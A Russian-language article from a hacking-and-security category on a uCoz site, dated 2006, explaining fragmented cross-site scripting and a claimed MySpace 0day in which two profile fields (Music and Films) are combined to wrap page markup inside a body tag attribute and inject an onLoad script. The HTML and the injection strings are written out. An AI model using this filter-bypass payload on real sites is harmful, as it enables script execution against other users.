Пятница, 2026-08-28, 10:15 PM
SITE LOGO

 Каталог статей

Меню сайта
Форма входа
Категории раздела
Взлом и безопасность [7]
Игры [0]
Железо [0]
Поиск
Наш опрос
Да ?
Всего ответов: 66
Мини-чат
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Главная » Статьи » Взлом и безопасность

    Фрагментированное XSS нападение: MySpace 0day эксплоит
    Введение
    На простом уровне объяснение фрагментированной атаки довольно просто - несколько фрагментов, самих по себе безопасных и способных пройти фильтры или файрволы, при достижении цели собираются в единое целое, которое уже несет в себе угрозу. Фрагментированные атаки обычно применяются на сетевом/сессионном уровне - для обхода систем обнаружения вторжения и файрволов, однако могут применяться и для более простых нападений, например межсайтового скриптинга, в документах которые собираются из частей и предоставляются пользователю.

    XSS фрагментация
    Такой тип атак довольно редок из-за того, что требуется несколько полей ввода, отображающихся на одной странице, при этом для всех должен применяться один и тот же фильтр, который бы пропускал безопасные части скрипта. Другое требование - достаточная глупость или кривость фильтра, он не должен вырезать символы < и > и в то же время допускать строки там, где их быть не должно. Например <body onload="alert('XSS');"> может обрезаться, а body onload="alert('XSS');" уже быть доступным для использования.

    Глобальная идея фрагментации остается прежней - расположить сами по себе не опасные части скрипта в опасных местах. Простейшее такое место - внутри другого тега.

    MySpace 0day эксплоит
    Свой пример фрагментированной XSS атаки я разработал для сайта MySpace.

    Для начала немного теории. В профиле имеется несколько полей для описания собственной персоны - интересы, любимые фильмы и т.п. Возьмем секцию интересов, Музыку и Фильмы. В реале получаемый код выглядит так:

    Код<tr id=MusicRow>
    <td valign="top" align="left" width="100" bgcolor="#b1d0f0">
    <span class="lightbluetext8">Music</span>
    </td>
    <td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
    </tr>
    <script language="JavaScript">highlightInterests("ProfileMusic");</script>
    <tr id=FilmsRow>
    <td valign="top" align="left" width="100" bgcolor="#b1d0f0">
    <span class="lightbluetext8">Films</span>
    </td>
    <td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td>
    </tr>

    Очевидно, что разделяет два пользовательских поля лишь этот код:

    Код</span>
    </td>
    <td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
    </tr>
    <script language="JavaScript">highlightInterests("ProfileMusic"); </script>
    <tr id=FilmsRow>
    <td valign="top" align="left" width="100" bgcolor="#b1d0f0">
    <span class="lightbluetext8">Films</span>
    </td>
    <td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">

    Интересная его особенность заключается в том, что в нем нет ни одной одинарной кавычки, лишь стандартные двойные.

    Конечно же мы можем сделать что-нибудь для инкапсулирования этого текста:

    Код<tr id=MusicRow>
    <td valign="top" align="left" width="100" bgcolor="#b1d0f0">
    <span class="lightbluetext8">Music</span>
    </td>
    <td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
    <body test='
    </td>
    </tr>
    <script language="JavaScript">highlightInterests("ProfileMusic"); </script>
    <tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">
    <span class="lightbluetext8">Films</span>
    </td>
    <td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
    '>Films Go Here!
    </td></tr>

    Как вы видите, мы просто заключили этот текст в параметр text тега body! Теперь мы можем написать требуемый скрипт во втором поле - на требуемой нам опасной позиции!

    Следовательно, если мы сделаем параметр Films таким:

    Код' onLoad="alert('XSS');"></body>

    то мы и получим реальную возможность выполнить произвольный сценарий в контексте уязвимого сайта.

    Именно такая атака использовалась для взлома MySpace. Я полагаю, что ее аналоги могут работать на множестве других сайтов, где пользовательский ввод делиться и разрешаются теговые скобки.

    Категория: Взлом и безопасность | Добавил: Lavrik (2006-11-15) | Автор: InAttack
    Просмотров: 820 | Комментарии: 4 | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]